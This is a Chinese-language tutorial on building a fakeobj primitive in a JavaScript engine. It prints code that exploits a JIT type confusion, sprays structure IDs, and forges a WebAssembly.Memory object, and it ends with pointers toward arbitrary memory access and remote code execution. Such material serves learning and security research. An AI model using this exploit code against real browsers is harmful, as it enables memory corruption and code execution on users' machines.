The fakeobj() Primitive: Turning an Address Leak into a Memory Corruption - browser 0x05
字数 964 2025-08-05 08:20:09
FakeObj原语:将地址泄漏转化为内存破坏
1. 背景知识
1.1 JavaScript对象内存布局
JavaScript对象在内存中的存储格式:
- JSCell头部:包含标志和结构ID
- Butterfly结构:用于存储数组元素和动态属性
- 内联属性:对象的前几个属性直接存储在对象内存中
JSValues的存储格式:
Pointer {
0000 : PPPP : PPPP : PPPP
0001 :* Double { ... }
FFFE :* Integer {
FFFF : 0000 : IIII : IIII
1.2 Addrof原语回顾
Addrof原语允许泄漏JavaScript对象的地址,通过:
- 将对象指针作为双精度浮点数读取
- 利用类型混淆漏洞获取原始内存地址
2. FakeObj原语实现
2.1 基本概念
FakeObj原语是Addrof的反向操作:
- 将双精度浮点数解释为对象指针
- 允许伪造JavaScript对象的内存结构
2.2 代码实现
function fakeobj(dbl) {
var array = [13.37];
var reg = /abc/y;
var AddrSetter = function(array) {
"abc".match(reg);
array[0] = dbl;
}
// 强制优化
for(var i = 0; i < 100000; ++i) AddrSetter(array);
// 设置漏洞触发条件
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = {};
return "0";
};
reg.lastIndex = regexLastIndex;
// 执行
AddrSetter(array);
return array[0];
}
2.3 工作原理
- 创建一个存放双精度浮点数的数组
- JIT代码将指定双精度数写入数组第一个元素
- 通过toString函数触发漏洞
- 引擎将数组转换为连续内存空间数组
- JIT代码覆盖原始指针
- 将双精度数解释为对象指针返回
3. 伪造对象实战
3.1 基本对象伪造
- 创建测试对象并添加属性:
test = {}
test.x = 1
- 内存布局示例:
0x62d0000d4080: 0x0100160000000126 // JSCell头部
0x62d0000d4088: 0x0000000000000000 // Butterfly
0x62d0000d4090: 0xffff000000000001 // 内联属性x=1
3.2 结构ID喷射
通过大量创建对象来猜测有效结构ID:
for(var i = 0; i < 0x1000; i++) {
test = {}
test.x = 1
test['prop_' + i] = 2
}
3.3 构造伪造对象
- 创建伪造对象框架:
fake = {}
fake.a = 7.082855106403439e-304 // 伪造的JSCell头部
fake.b = 2
fake.c = 1337 // 伪造的属性值
delete fake.b // 清空butterfly为0
- 内存布局:
0x62d0000d40c0: 0x0100160000000129 // 原始对象头部
0x62d0000d40c8: 0x0000000000000000 // Butterfly
0x62d0000d40d0: 0x0100160000001000 // 伪造的JSCell头部
0x62d0000d40d8: 0x0000000000000000 // 伪造的Butterfly
0x62d0000d40e0: 0xffff000000000539 // 伪造的属性(1337)
3.4 双精度浮点数的NaN编码
JavaScript引擎会对双精度值加上0x1000000000000进行编码,因此构造时需要减去这个值:
import struct
struct.unpack("d", struct.pack("Q", 0x0100160000001000 - 0x1000000000000))
4. 高级利用技术
4.1 Linus的解决方案
- 喷射大量Float64Array:
var structs = [];
for(var i = 0; i < 0x5000; i++) {
var a = new Float64Array(1);
a['prop' + i] = 1337;
structs.push(a);
}
- 喷射少量WebAssembly.Memory对象:
for(var i = 0; i < 50; i++) {
var a = new WebAssembly.Memory({initial: 0});
a['prop' + i] = 1337;
structs.push(a);
}
- 构造伪造的JSCell头部:
var jsCellHeader = new Int64([
0x00, 0x50, 0x00, 0x00, // m_structureID
0x0, // m_indexingType
0x2c, // m_type
0x08, // m_flags
0x1 // m_cellState
]);
- 创建wasmBuffer对象:
var wasmBuffer = {
jsCellHeader: jsCellHeader.asJSValue(),
butterfly: null,
vector: null,
memory: null,
deleteMe: null
};
delete wasmBuffer.butterfly; // 清空butterfly
- 获取并修改伪造对象:
var wasmBufferRawAddr = addrof(wasmBuffer);
var wasmBufferAddr = Add(Int64.fromDouble(wasmBufferRawAddr), 16);
var fakeWasmBuffer = fakeobj(wasmBufferAddr.asDouble());
// 遍历结构ID直到匹配WebAssembly.Memory
while(!(fakeWasmBuffer instanceof WebAssembly.Memory)) {
jsCellHeader.assignAdd(jsCellHeader, Int64.One);
wasmBuffer.jsCellHeader = jsCellHeader.asJSValue();
}
5. 关键点总结
- 类型混淆:利用JIT优化和动态类型系统的差异
- 内存布局控制:通过精心构造的对象控制内存布局
- 结构ID喷射:通过大量创建对象预测有效结构ID
- NaN编码处理:正确处理JavaScript的双精度浮点数编码
- 对象伪造:通过重叠内存区域伪造特定类型的对象
6. 后续利用方向
- 通过伪造的WebAssembly.Memory对象实现任意内存读写
- 构造ROP链或注入shellcode
- 绕过现代浏览器的安全防护机制(如CFI、DEP等)
- 实现稳定的远程代码执行